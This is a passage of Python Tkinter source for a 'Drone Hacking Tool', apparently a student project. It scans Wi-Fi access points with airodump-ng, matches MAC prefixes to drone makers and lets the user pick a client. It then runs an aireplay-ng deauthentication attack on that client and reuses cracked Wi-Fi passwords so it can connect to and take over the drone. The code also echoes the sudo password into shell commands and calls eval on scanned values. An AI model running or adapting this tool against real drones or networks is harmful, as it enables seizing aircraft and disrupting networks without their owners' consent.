selected_manufacturer_column = get_matched_manufacturer["Manufacturer"]
matched_manufacturer_list = selected_manufacturer_column.values.tolist()
#print(matched_manufacturer_list)
if len(matched_manufacturer_list) == 0:
self.check_drone_manufacturer_list = Path(current_path + "/data/drone_manufacturer_list.csv")
if self.check_drone_manufacturer_list.is_file(): #Check "drone_manufacturer_list" is really exist
read_drone_manufacturer_list_cap = pd.read_csv(current_path + "/data/drone_manufacturer_list.csv") #Read csv "drone_manufacturer_list.csv" file
read_drone_manufacturer_list_df = pd.DataFrame(read_drone_manufacturer_list_cap)
consider_manufacturer = selected_bssid[:-9]
get_matched_manufacturer = read_drone_manufacturer_list_df[read_drone_manufacturer_list_df["Drone_MAC_list"].str.contains(consider_manufacturer)]
selected_manufacturer_column = get_matched_manufacturer["Manufacturer"]
matched_manufacturer_list = selected_manufacturer_column.values.tolist()
#print(matched_manufacturer_list)
if len(matched_manufacturer_list) == 0:
matched_manufacturer = "Not found"
else:
matched_manufacturer_list_convert = str(matched_manufacturer_list) #Convert to string
matched_manufacturer_list_strip = matched_manufacturer_list_convert.strip("[]") #Remove characters "[]"
matched_manufacturer_list_strip_bracket = eval(matched_manufacturer_list_strip) #Remove characters "''"
matched_manufacturer = matched_manufacturer_list_strip_bracket.strip("()") #Remove characters "()"
else:
matched_manufacturer_list_convert = str(matched_manufacturer_list) #Convert to string
matched_manufacturer_list_strip = matched_manufacturer_list_convert.strip("[]") #Remove characters "[]"
matched_manufacturer_list_strip_bracket = eval(matched_manufacturer_list_strip) #Remove characters "''"
matched_manufacturer = matched_manufacturer_list_strip_bracket.strip("()") #Remove characters "()"
else:
matched_manufacturer = "Not found"
selected_ap_timestamp = time.strftime("%Y/%m/%d-%H:%M:%S") #Create a timestamp
self.check_log_file = Path(current_path + "/data/hack_drone_log.csv")
if self.check_log_file.is_file(): #Check "hack_drone_log.csv" is really exist
target_BSSID_log = [selected_bssid]
channel_log = [selected_channel]
privacy_log = [selected_privacy]
password_log = [""]
manufacturer_log = [matched_manufacturer]
client_BSSID_log = [""]
selected_ap_timestamp_log = [selected_ap_timestamp]
states_log = ["Target Access Point selected"]
dataframe = pd.DataFrame({"target_BSSID":target_BSSID_log, "channel":channel_log, "privacy":privacy_log, "password":password_log, "manufacturer":manufacturer_log, "client_BSSID":client_BSSID_log,"timestamp":selected_ap_timestamp_log, "states":states_log})
dataframe.to_csv(current_path + "/data/hack_drone_log.csv", index = False, sep = ",", mode = "a", header = False) #Write log data to "drone_attack_log.csv"
self.access_point_list_refresh_states = False
threading.Thread(target = self.destroy_ap_display_gui).start()
self.controller.show_frame("GetSelectedAPClientINFO")
break
else:
selected_ap_timestamp = time.strftime("%Y/%m/%d-%H:%M:%S") #Create a timestamp
self.check_log_file = Path(current_path + "/data/hack_drone_log.csv")
if self.check_log_file.is_file(): #Check "hack_drone_log.csv" is really exist
target_BSSID_log = [""]
channel_log = [""]
privacy_log = [""]
password_log = [""]
manufacturer_log = [""]
client_BSSID_log = [""]
selected_ap_timestamp_log = [selected_ap_timestamp]
states_log = ["Error: Target Access Point is not selected"]
dataframe = pd.DataFrame({"target_BSSID":target_BSSID_log, "channel":channel_log, "privacy":privacy_log, "password":password_log, "manufacturer":manufacturer_log, "client_BSSID":client_BSSID_log,"timestamp":selected_ap_timestamp_log, "states":states_log})
dataframe.to_csv(current_path + "/data/hack_drone_log.csv", index = False, sep = ",", mode = "a", header = False) #Write log data to "drone_attack_log.csv"
messagebox.showwarning("Tips", "You must select a Access Point.")
def destroy_ap_display_gui(self): #Kill ap_display_gui object
find_xterm_airodump_pid = "ps ax | grep 'xterm -iconic -T accesspointinfo -hold -e airodump-ng " + selected_interface + " -w " + current_path + "/data/ap_list -o csv' | grep -v grep | grep -v sudo | awk '{print $1}'"
get_xterm_airodump_pid = subprocess.Popen(find_xterm_airodump_pid, stdout = subprocess.PIPE, shell = True, universal_newlines = True).stdout
xterm_airodump_pid = get_xterm_airodump_pid.read().splitlines()
xterm_airodump_pid_convert = str(xterm_airodump_pid) #Convert to string
xterm_airodump_pid_strip = xterm_airodump_pid_convert.strip("[]") #Remove characters "[]"
return_xterm_airodump_pid = eval(xterm_airodump_pid_strip) #Remove characters "''"
colse_xterm_airodump = "echo " + sudo_password + " | sudo -S kill " + return_xterm_airodump_pid
subprocess.Popen(colse_xterm_airodump, stdout = subprocess.PIPE, shell = True) #For close the xterm airodump terminal
time.sleep(1.0)
self.title_label.destroy()
self.stop_start_button.destroy()
self.ap_display_tree.destroy()
self.progressbar.destroy()
self.info_label.destroy()
self.next_button.destroy()
self.access_point_list_refresh_states = True
self.drone_manufacturer_list_missing_warning == True
class GetSelectedAPClientINFO(tk.Frame):
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.bind("<<ShowFrame>>",self.thread_control)
def thread_control(self, event):
threading.Thread(target = self.get_selected_ap_client_gui).start()
threading.Thread(target = self.load_client).start()
def get_selected_ap_client_gui(self):
self.title_label = tk.Label(self, background = "white", text = "Select client to attack:", font = self.controller.title_font)
self.title_label.pack(side = "top", fill = "x", pady = 10)
try:
self.refresh_button_icon = tk.PhotoImage(file = current_path + "/data/gui_img/refresh_icon.png")
self.refresh_button = tk.Button(self, background = "white", text = "Refresh", font = self.controller.button_font, state = "disable", image = self.refresh_button_icon, compound = "left",
command = lambda: self.client_list_refresh())
self.refresh_button.pack(side = "top", anchor = "e")
except: #If icon not found
self.refresh_button = tk.Button(self, background = "white", text = "Refresh", font = self.controller.button_font, state = "disable",
command = lambda: self.client_list_refresh())
self.refresh_button.pack(side = "top", anchor = "e")
self.get_selected_ap_client_tree = ttk.Treeview(self, style="font.Treeview", columns = ["1"], show = "headings")
self.get_selected_ap_client_tree.column("1", width = 50, anchor = "center")
self.get_selected_ap_client_tree.heading("1", text = "Client")
self.get_selected_ap_client_tree.pack(side = "top", fill = "both", expand = True)
self.progressbar = ttk.Progressbar(self, style = "green.Horizontal.TProgressbar", orient = "horizontal", mode = "determinate")
self.progressbar.pack(fill = "x")
self.info_label = tk.Label(self, background = "white", text = "Please wait.", font = self.controller.info_font)
self.info_label.pack(side = "left")
try:
self.next_button_icon = tk.PhotoImage(file = current_path + "/data/gui_img/next_icon.png")
self.next_button = tk.Button(self, background = "white", text = "Next", font = self.controller.button_font, image = self.next_button_icon, compound = "right",
command = lambda: self.manual_select())
self.next_button.pack(side = "right", anchor = "se")
except: #If icon not found
self.next_button = tk.Button(self, background = "white", text = "Next", font = self.controller.button_font,
command = lambda: self.manual_select())
self.next_button.pack(side = "right", anchor = "se")
def menubar(self, tool):
menubar = tk.Menu(tool)
option_tool = tk.Menu(menubar, tearoff = 0)
option_tool.add_command(label = "Home", command = lambda: self.menubar_home())
option_tool.add_separator()
option_tool.add_command(label = "Exit", command = lambda: quit(), state="disable")
menubar.add_cascade(label = "Option", menu = option_tool)
help_tool = tk.Menu(menubar, tearoff = 0)
help_tool.add_command(label = "Page guide", command = lambda: messagebox.showinfo("Page Guide",
"To continue, please select one client for the attack.\n\nThe program will scan the client(s) on your selected Wi-Fi access point. If there have only one client find on the Wi-Fi access point, the program will select that client automatically. Otherwise, you need to select which clients you want to attack."))
help_tool.add_command(label = "About", command = lambda: messagebox.showinfo("Drone Hacking Tool",
"Code name: Barbary lion\nVersion: 1.1.2.111\n\nGroup member:\nSam KAN\nMichael YUEN\nDicky SHEK"))
menubar.add_cascade(label = "Help", menu = help_tool)
return menubar
def menubar_home(self):
try:
self.progressbar.stop()
find_xterm_airodump_pid = "ps ax | grep 'xterm -iconic -T clientinfo -hold -e airodump-ng " + selected_interface + " -c " + selected_channel + " --bssid " + selected_bssid + " -w " + current_path + "/data/client_list -o csv' | grep -v grep | grep -v sudo | awk '{print $1}'"
get_xterm_airodump_pid = subprocess.Popen(find_xterm_airodump_pid, stdout = subprocess.PIPE, shell = True, universal_newlines = True).stdout
xterm_airodump_pid = get_xterm_airodump_pid.read().splitlines()
xterm_airodump_pid_convert = str(xterm_airodump_pid) #Convert to string
xterm_airodump_pid_strip = xterm_airodump_pid_convert.strip("[]") #Remove characters "[]"
return_xterm_airodump_pid = eval(xterm_airodump_pid_strip) #Remove characters "''"
colse_xterm_airodump = "echo " + sudo_password + " | sudo -S kill " + return_xterm_airodump_pid
subprocess.Popen(colse_xterm_airodump, stdout = subprocess.PIPE, shell = True) # For close the xterm airodump terminal
time.sleep(0.5)
self.destroy_get_selected_ap_client_gui()
self.controller.show_frame("StartPage")
except:
pass
def load_client(self):
time.sleep(2.0)
self.check_dump_file = Path(current_path + "/data/client_list-01.csv")
if self.check_dump_file.is_file(): #Check "client_list-01.csv" is really exist
subprocess.Popen("echo " + sudo_password + " | sudo -S rm " + current_path + "/data/client_list-01.csv", stdout = subprocess.PIPE, shell = True)
client_info = "echo " + sudo_password + " | sudo -S xterm -iconic -T 'clientinfo' -hold -e 'airodump-ng " + selected_interface + " -c " + selected_channel + " --bssid " + selected_bssid + " -w " + current_path + "/data/client_list -o csv'"
get_client_info_states = subprocess.Popen(client_info, stdout = subprocess.PIPE, shell = True)
client_info_states = get_client_info_states.poll()
while client_info_states == None:
time.sleep(1.0)
self.wait_for_csv_file()
break
def wait_for_csv_file(self):
self.progressbar.start(50)
self.info_label.config(text = "Collecting client(s) data.")
time.sleep(5.0)
self.progressbar.stop()
self.refresh_button.config(state = "normal")
threading.Thread(target = self.client_list_update).start()
def client_list_update(self):
try:
read_client_list_cap = pd.read_csv(current_path + "/data/client_list-01.csv", skiprows = 3, usecols = [0])
read_client_list_cap_df = pd.DataFrame(read_client_list_cap)
count_row = len(read_client_list_cap_df) #Count how many row on the CSV file
read_client_list_cap_df_drop_nan = read_client_list_cap_df.dropna() #Drop values "NaN" in the CSV file
client_list = read_client_list_cap_df_drop_nan.values.tolist()
#print(client_list)
for display_ap_client_list in client_list: #Print AP's information
self.get_selected_ap_client_tree.insert("", "end", values = display_ap_client_list)
self.info_label.config(text = "Done.")
if count_row == 1: #If only one client found
self.auto_select()
elif count_row == 0: #If no client found
self.info_label.config(text = "Done, no client found.")
selected_client_timestamp = time.strftime("%Y/%m/%d-%H:%M:%S") #Create a timestamp
self.check_log_file = Path(current_path + "/data/hack_drone_log.csv")
if self.check_log_file.is_file(): #Check "hack_drone_log.csv" is really exist
target_BSSID_log = [selected_bssid]
channel_log = [selected_channel]
privacy_log = [selected_privacy]
password_log = [""]
manufacturer_log = [matched_manufacturer]
client_BSSID_log = [""]
selected_ap_timestamp_log = [selected_client_timestamp]
states_log = ["Error: No client found in user selected Access Point"]
dataframe = pd.DataFrame({"target_BSSID":target_BSSID_log, "channel":channel_log, "privacy":privacy_log, "password":password_log, "manufacturer":manufacturer_log, "client_BSSID":client_BSSID_log,"timestamp":selected_ap_timestamp_log, "states":states_log})
dataframe.to_csv(current_path + "/data/hack_drone_log.csv", index = False, sep = ",", mode = "a", header = False) #Write log data to "drone_attack_log.csv"
if messagebox.askretrycancel("Error", "No client found in your selected Access Point."):
find_xterm_airodump_pid = "ps ax | grep 'xterm -iconic -T clientinfo -hold -e airodump-ng " + selected_interface + " -c " + selected_channel + " --bssid " + selected_bssid + " -w " + current_path + "/data/client_list -o csv' | grep -v grep | grep -v sudo | awk '{print $1}'"
get_xterm_airodump_pid = subprocess.Popen(find_xterm_airodump_pid, stdout = subprocess.PIPE, shell = True, universal_newlines = True).stdout
xterm_airodump_pid = get_xterm_airodump_pid.read().splitlines()
xterm_airodump_pid_convert = str(xterm_airodump_pid) #Convert to string
xterm_airodump_pid_strip = xterm_airodump_pid_convert.strip("[]") #Remove characters "[]"
return_xterm_airodump_pid = eval(xterm_airodump_pid_strip) #Remove characters "''"
colse_xterm_airodump = "echo " + sudo_password + " | sudo -S kill " + return_xterm_airodump_pid
subprocess.Popen(colse_xterm_airodump, stdout = subprocess.PIPE, shell = True) # For close the xterm airodump terminal
self.info_label.config(text = "Please wait.")
threading.Thread(target = self.load_client).start()
except:
selected_client_timestamp = time.strftime("%Y/%m/%d-%H:%M:%S") #Create a timestamp
self.check_log_file = Path(current_path + "/data/hack_drone_log.csv")
if self.check_log_file.is_file(): #Check "hack_drone_log.csv" is really exist
target_BSSID_log = [selected_bssid]
channel_log = [selected_channel]
privacy_log = [selected_privacy]
password_log = [""]
manufacturer_log = [matched_manufacturer]
client_BSSID_log = [""]
selected_ap_timestamp_log = [selected_client_timestamp]
states_log = ["Error: No client found in user selected Access Point"]
dataframe = pd.DataFrame({"target_BSSID":target_BSSID_log, "channel":channel_log, "privacy":privacy_log, "password":password_log, "manufacturer":manufacturer_log, "client_BSSID":client_BSSID_log,"timestamp":selected_ap_timestamp_log, "states":states_log})
dataframe.to_csv(current_path + "/data/hack_drone_log.csv", index = False, sep = ",", mode = "a", header = False) #Write log data to "drone_attack_log.csv"
if messagebox.askretrycancel("Error", "No client found in your selected Access Point."):
find_xterm_airodump_pid = "ps ax | grep 'xterm -iconic -T clientinfo -hold -e airodump-ng " + selected_interface + " -c " + selected_channel + " --bssid " + selected_bssid + " -w " + current_path + "/data/client_list -o csv' | grep -v grep | grep -v sudo | awk '{print $1}'"
get_xterm_airodump_pid = subprocess.Popen(find_xterm_airodump_pid, stdout = subprocess.PIPE, shell = True, universal_newlines = True).stdout
xterm_airodump_pid = get_xterm_airodump_pid.read().splitlines()
xterm_airodump_pid_convert = str(xterm_airodump_pid) #Convert to string
xterm_airodump_pid_strip = xterm_airodump_pid_convert.strip("[]") #Remove characters "[]"
return_xterm_airodump_pid = eval(xterm_airodump_pid_strip) #Remove characters "''"
colse_xterm_airodump = "echo " + sudo_password + " | sudo -S kill " + return_xterm_airodump_pid
subprocess.Popen(colse_xterm_airodump, stdout = subprocess.PIPE, shell = True) # For close the xterm airodump terminal
self.info_label.config(text = "Please wait.")
threading.Thread(target = self.load_client).start()
def client_list_refresh(self):
for get_selected_ap_client_item in self.get_selected_ap_client_tree.get_children(): #Clean all data in TreeView
self.get_selected_ap_client_tree.delete(get_selected_ap_client_item)
self.client_list_update()
def auto_select(self): #Select client by program
get_selected_ap_client_tree_info = self.get_selected_ap_client_tree.get_children()
self.get_selected_ap_client_tree.selection_set(get_selected_ap_client_tree_info) #Select client by program
for get_selected_ap_client_item in self.get_selected_ap_client_tree.selection(): #Get user selection
selected_item = self.get_selected_ap_client_tree.item(get_selected_ap_client_item, "values")
selected_item_convert = str(selected_item) #Convert to string
selected_item_convert_strip = selected_item_convert.strip("[(,)]") #Remove characters "[(,)]"
self.selected_item = eval(selected_item_convert_strip) #Remove characters "''"
message_user_select = ("Automatically select " + self.selected_item + ", confirm?")
if messagebox.askokcancel("Selected Client", message_user_select):
self.check_selection()
def manual_select(self): #Select client by user
for get_selected_ap_client_item in self.get_selected_ap_client_tree.selection(): #Get user selection
selected_item = self.get_selected_ap_client_tree.item(get_selected_ap_client_item, "values")
selected_item_convert = str(selected_item) #Convert to string
selected_item_convert_strip = selected_item_convert.strip("[(,)]") #Remove characters "[(,)]"
self.selected_item = eval(selected_item_convert_strip) #Remove characters "''"
message_user_select = (self.selected_item + " selected.")
if messagebox.askokcancel("Selected Client", message_user_select):
self.check_selection()
else:
messagebox.showwarning("Tips", "You must select a client.")
def check_selection(self):
global selected_ap_client
selected_ap_client = self.selected_item
#print (selected_ap_client)
selected_client_timestamp = time.strftime("%Y/%m/%d-%H:%M:%S") #Create a timestamp
self.check_log_file = Path(current_path + "/data/hack_drone_log.csv")
if self.check_log_file.is_file(): #Check "hack_drone_log.csv" is really exist
target_BSSID_log = [selected_bssid]
channel_log = [selected_channel]
privacy_log = [selected_privacy]
password_log = [""]
manufacturer_log = [matched_manufacturer]
client_BSSID_log = [selected_ap_client]
selected_ap_timestamp_log = [selected_client_timestamp]
states_log = ["Client BSSID selected"]
dataframe = pd.DataFrame({"target_BSSID":target_BSSID_log, "channel":channel_log, "privacy":privacy_log, "password":password_log, "manufacturer":manufacturer_log, "client_BSSID":client_BSSID_log,"timestamp":selected_ap_timestamp_log, "states":states_log})
dataframe.to_csv(current_path + "/data/hack_drone_log.csv", index = False, sep = ",", mode = "a", header = False) #Write log data to "drone_attack_log.csv"
find_xterm_airodump_pid = "ps ax | grep 'xterm -iconic -T clientinfo -hold -e airodump-ng " + selected_interface + " -c " + selected_channel + " --bssid " + selected_bssid + " -w " + current_path + "/data/client_list -o csv' | grep -v grep | grep -v sudo | awk '{print $1}'"
get_xterm_airodump_pid = subprocess.Popen(find_xterm_airodump_pid, stdout = subprocess.PIPE, shell = True, universal_newlines = True).stdout
xterm_airodump_pid = get_xterm_airodump_pid.read().splitlines()
xterm_airodump_pid_convert = str(xterm_airodump_pid) #Convert to string
xterm_airodump_pid_strip = xterm_airodump_pid_convert.strip("[]") #Remove characters "[]"
return_xterm_airodump_pid = eval(xterm_airodump_pid_strip) #Remove characters "''"
colse_xterm_airodump = "echo " + sudo_password + " | sudo -S kill " + return_xterm_airodump_pid
subprocess.Popen(colse_xterm_airodump, stdout = subprocess.PIPE, shell = True) # For close the xterm airodump terminal
self.destroy_get_selected_ap_client_gui()
self.controller.show_frame("WifiAttack")
def destroy_get_selected_ap_client_gui(self): #Kill get_selected_ap_client_gui object
self.title_label.destroy()
self.refresh_button.destroy()
self.get_selected_ap_client_tree.destroy()
self.progressbar.destroy()
self.info_label.destroy()
self.next_button.destroy()
class WifiAttack(tk.Frame):
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.bind("<<ShowFrame>>", self.thread_control)
#self.check_askstring_open = False
def thread_control(self, event):
threading.Thread(target = self.wifi_attack_gui).start()
threading.Thread(target = self.load_attack).start()
app.after(2000, self.check_askstring)
def wifi_attack_gui(self):
self.title_label = tk.Label(self, background = "white", text = "Attack target:", font = self.controller.title_font)
self.title_label.pack(side = "top", fill = "x", pady = 10)
self.step1_label = tk.Label(self, background = "white", text = "", font = self.controller.label_font)
self.step1_label.pack(side = "top", pady = 10)
self.step2_label = tk.Label(self, background = "white", text = "", font = self.controller.label_font)
self.step2_label.pack(side = "top", pady = 10)
self.step3_label = tk.Label(self, background = "white", text = "", font = self.controller.label_font)
self.step3_label.pack(side = "top", pady = 10)
self.step4_label = tk.Label(self, background = "white", text = "", font = self.controller.label_font)
self.step4_label.pack(side = "top", pady = 10)
self.image_label = tk.Label(self, background = "white", text = "", font = self.controller.label_font)
self.image_label.pack(pady = 40)
self.info_label = tk.Label(self, background = "white", text = "Loading.", font = self.controller.info_font)
self.info_label.pack(side = "bottom", anchor = "sw", pady = 5)
self.progressbar = ttk.Progressbar(self, style="green.Horizontal.TProgressbar", orient = "horizontal", mode = "indeterminate")
self.progressbar.pack(side = "bottom", fill = "x")
def menubar(self, tool):
menubar = tk.Menu(tool)
option_tool = tk.Menu(menubar, tearoff = 0)
option_tool.add_command(label = "Home", command = lambda: quit(), state="disable")
option_tool.add_separator()
option_tool.add_command(label = "Exit", command = lambda: quit(), state="disable")
menubar.add_cascade(label = "Option", menu = option_tool)
help_tool = tk.Menu(menubar, tearoff = 0)
help_tool.add_command(label = "Page guide", command = lambda: messagebox.showinfo("Page Guide",
"Attack drone based on different cases.\n\nPlease follow the instruction from the program."))
help_tool.add_command(label = "About", command = lambda: messagebox.showinfo("Drone Hacking Tool",
"Code name: Barbary lion\nVersion: 1.1.2.111\n\nGroup member:\nSam KAN\nMichael YUEN\nDicky SHEK"))
menubar.add_cascade(label = "Help", menu = help_tool)
return menubar
def load_attack(self):
if selected_privacy == "OPN": #For no password access point
time.sleep(0.3)
try:
self.label_loading_icon = tk.PhotoImage(file = current_path + "/data/gui_img/loading_icon.png")
self.label_finish_icon = tk.PhotoImage(file = current_path + "/data/gui_img/finish_icon.png")
self.label_fail_icon = tk.PhotoImage(file = current_path + "/data/gui_img/fail_icon.png")
self.image_label_image = tk.PhotoImage(file = current_path + "/data/gui_img/drone_hacking.png")
self.step1_label.config(text = "Start Wi-Fi deauthentication attack ", image = self.label_loading_icon, compound = "right")
self.step2_label.config(text = "Switch Wi-Fi adapter to manage mode ", image = self.label_loading_icon, compound = "right")
self.step3_label.config(text = "Connect your selected target ", image = self.label_loading_icon, compound = "right")
self.image_label.config(image = self.image_label_image)
except: #If icon not found
self.step1_label.config(text = "Start Wi-Fi deauthentication attack ☐")
self.step2_label.config(text = "Switch Wi-Fi adapter to manage mode ☐")
self.step3_label.config(text = "Connect your selected target ☐")
threading.Thread(target = self.deauthenticat_wifi_network).start()
else:
time.sleep(0.3)
try:
self.label_loading_icon = tk.PhotoImage(file = current_path + "/data/gui_img/loading_icon.png")
self.label_finish_icon = tk.PhotoImage(file = current_path + "/data/gui_img/finish_icon.png")
self.label_fail_icon = tk.PhotoImage(file = current_path + "/data/gui_img/fail_icon.png")
self.image_label_image = tk.PhotoImage(file = current_path + "/data/gui_img/drone_hacking.png")
self.step1_label.config(text = "Wait for user select ", image = self.label_loading_icon, compound = "right")
self.step2_label.config(text = "Start Wi-Fi deauthentication attack ", image = self.label_loading_icon, compound = "right")
self.step3_label.config(text = "Switch Wi-Fi adapter to manage mode ", image = self.label_loading_icon, compound = "right")
self.step4_label.config(text = "Connect your selected target ", image = self.label_loading_icon, compound = "right")
self.image_label.config(image = self.image_label_image)
except: #If icon not found
self.step1_label.config(text = "Wait for user select ☐")
self.step2_label.config(text = "Start Wi-Fi deauthentication attack ☐")
self.step3_label.config(text = "Switch Wi-Fi adapter to manage mode ☐")
self.step4_label.config(text = "Connect your selected target ☐")
threading.Thread(target = self.match_wifi_password).start()
def deauthenticat_wifi_network(self): #Deauthentication attack for access point
try:
deauth_info = "echo " + sudo_password + " | sudo -S aireplay-ng -0 15 -a " + selected_bssid + " -c " + selected_ap_client + " " + selected_interface
#print(deauth_info)
self.info_label.config(text = "Starting Wi-Fi deauthentication attack.")
subprocess.Popen(deauth_info, stdout = subprocess.PIPE, shell = True, universal_newlines = True)
self.progressbar.start()
time.sleep(10.0)
if selected_privacy == "OPN":
try:
self.step1_label.config(text = "Start Wi-Fi deauthentication attack ", image = self.label_finish_icon, compound = "right")
except: #If icon not found
self.step1_label.config(text = "Start Wi-Fi deauthentication attack ☑")
else:
try:
self.step2_label.config(text = "Start Wi-Fi deauthentication attack ", image = self.label_finish_icon, compound = "right")
except: #If icon not found
self.step2_label.config(text = "Start Wi-Fi deauthentication attack ☑")
self.restart_network()
except:
try:
self.step1_label.config(text = "Start Wi-Fi deauthentication attack ", image = self.label_fail_icon, compound = "right")
except: #If icon not found
self.step1_label.config(text = "Start Wi-Fi deauthentication attack ☒")
if messagebox.askretrycancel("Error", "An error occurred while processing your request."):
self.deauthenticat_wifi_network()
def match_wifi_password(self):
global cracked_password_output, cracked_passwordstr_timestamp
time.sleep(1.0)
try:
read_cracked_password_list_cap = pd.read_csv(current_path + "/data/cracked_password_list.csv") #Read csv "cracked_password_list.csv" file
read_cracked_password_list_df = pd.DataFrame(read_cracked_password_list_cap)
read_cracked_password_list_filter = read_cracked_password_list_df[read_cracked_password_list_df.cracked_BSSID == selected_bssid] #Drop abnormal data
read_cracked_password_list_timestamp_sort = read_cracked_password_list_filter.sort_values(by = "timestamp" , ascending = False)
read_cracked_password_list_latest = read_cracked_password_list_timestamp_sort.iloc[0] #Collect the latest row
read_cracked_password_list_password = read_cracked_password_list_latest["password"]
read_cracked_password_list_timestamp = read_cracked_password_list_latest["timestamp"]
cracked_password_output = str(read_cracked_password_list_password)
cracked_passwordstr_timestamp = (read_cracked_password_list_timestamp)
#print(cracked_password_output)
self.info_label.config(text = "Waiting for user select.")
self.progressbar.start()
except IndexError:
self.info_label.config(text = "Waiting for user select.")
self.progressbar.start()
cracked_password_output = ""
except:
self.info_label.config(text = "Waiting for user select.")
self.progressbar.start()
pass
def check_askstring(self): #Ask for user confirm
global user_provide_password
try:
if selected_privacy != "OPN":
if cracked_password_output != "":
message_user_provide_password = "A password " + cracked_password_output + " on " + cracked_passwordstr_timestamp + " matched with your selected BSSID.\nThe password is already filled in by program.\nIf you accept this password, please press 'OK'.\nOtherwise, press 'Cancel' to collect 4-way handshake.\nPassword:"
user_provide_password = simpledialog.askstring("Matched Password Found", message_user_provide_password, initialvalue = cracked_password_output, show = "*")
if user_provide_password == None:
threading.Thread(target = self.encrypted_wifi_network).start()
elif user_provide_password == "":
if messagebox.showerror("Error", "This connection is encrypted. You must type in password."):
self.check_askstring()
else:
if len(user_provide_password) < 8: #Check Wi-Fi password characters length
if messagebox.askokcancel("Warning", "Wi-Fi password should be longer than 7 characters, are you sure?"):
try: